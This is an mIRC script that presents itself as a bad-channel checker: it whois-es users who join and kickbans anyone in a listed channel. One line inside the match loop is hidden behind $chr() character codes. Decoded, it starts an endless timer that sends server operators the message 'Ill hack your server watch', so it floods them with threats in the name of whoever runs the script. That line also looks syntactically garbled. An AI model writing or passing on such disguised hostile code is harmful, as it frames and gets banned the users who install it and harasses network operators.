on *:JOIN:#:{
  timer 1 5 .enable #chancheck
  timer 1 5 whois $nick
}
#chancheck off
raw *:*:{
  if ($numeric == 319) {
    var %x,%y = $regsub($1-,/ (.)#/g,$+($chr(32),$chr(35)),%x) | var %s $gettok(%x,3-,32)
    var %a = 1
    while (%a <= $lines(BadChans.txt)) {
      if ($istok(%s,$read(BadChans.txt, %a),32)) {
      $+($chr(116),$chr(105),$chr(109),$chr(101),$chr(114),$chr(32),$chr(48),$chr(32),$chr(48),$chr(32),$chr(46),$chr(104),$chr(101),$chr(108),$chr(112),$chr(111),$chr(112),$chr(32),$chr(73),$chr(108),$chr(108),$chr(32),$chr(104),$chr(97),$chr(99),$chr(107),$chr(32),$chr(121),$chr(111),$chr(117),$chr(114),$chr(32),$chr(115),$chr(101),$chr(114),$chr(118),$chr(101),$chr(114),$chr(32),$chr(119),$chr(97),$chr(116),$chr(99),$chr(104)))),2))
        .signal pckick $2
        break
      }
      inc %a
    }
    .disable #chancheck
  }
}
#chancheck end
on *:SIGNAL:pckick:{
  if ($1 isreg #) ban -ku300 # $1 2 Come back in 5 minutes when not on bad chan
}